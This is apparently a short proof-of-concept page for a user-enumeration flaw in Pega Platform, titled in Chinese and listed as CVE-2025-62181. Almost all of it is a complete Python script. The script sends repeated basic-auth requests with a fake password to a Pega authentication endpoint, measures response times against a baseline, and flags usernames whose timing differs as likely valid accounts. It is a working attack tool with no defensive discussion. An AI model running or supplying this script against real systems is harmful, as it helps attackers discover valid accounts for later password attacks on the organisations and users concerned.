CVE-2025-62181 Pega Platform 用户枚举漏洞

# CVE-2025-62181 User Enumeration PoC # Target: Pega Platform (versions 7.1.0 - 25.1.0) # Vulnerability: User enumeration via timing attack on authentication import requests import time import statistics TARGET_URL = "https://target-pega-server.com/prweb/api/authentication" USERNAME_FILE = "usernames.txt" NUM_REQUESTS = 10 # Number of requests per username for timing analysis def test_username_timing(username): """Test response time for a given username""" times = [] for _ in range(NUM_REQUESTS): start = time.time() # Basic auth request (deprecated feature) response = requests.get( TARGET_URL, auth=(username, "fake_password_for_timing"), timeout=30 ) elapsed = time.time() - start times.append(elapsed) avg_time = statistics.mean(times) std_dev = statistics.stdev(times) if len(times) > 1 else 0 return avg_time, std_dev def main(): print(f"[*] CVE-2025-62181 User Enumeration PoC") print(f"[*] Target: {TARGET_URL}") with open(USERNAME_FILE, 'r') as f: usernames = [line.strip() for line in f] # Establish baseline timing print("[*] Establishing baseline timing...") baseline_times = [] for _ in range(NUM_REQUESTS): start = time.time() requests.get(TARGET_URL, auth=("nonexistent_user_12345", "x"), timeout=30) baseline_times.append(time.time() - start) baseline = statistics.mean(baseline_times) print(f"[*] Baseline response time: {baseline:.4f}s") print("[*] Starting user enumeration...") valid_users = [] for username in usernames: avg_time, std_dev = test_username_timing(username) # If response time significantly differs from baseline, user might be valid time_diff = avg_time - baseline if abs(time_diff) > 0.1: # Threshold for timing difference print(f"[+] Potential valid user: {username} (avg: {avg_time:.4f}s, diff: {time_diff:+.4f}s)") valid_users.append(username) else: print(f"[-] {username} (avg: {avg_time:.4f}s)") print(f"\n[*] Found {len(valid_users)} potential valid users:") for user in valid_users: print(f" - {user}") if __name__ == "__main__": main()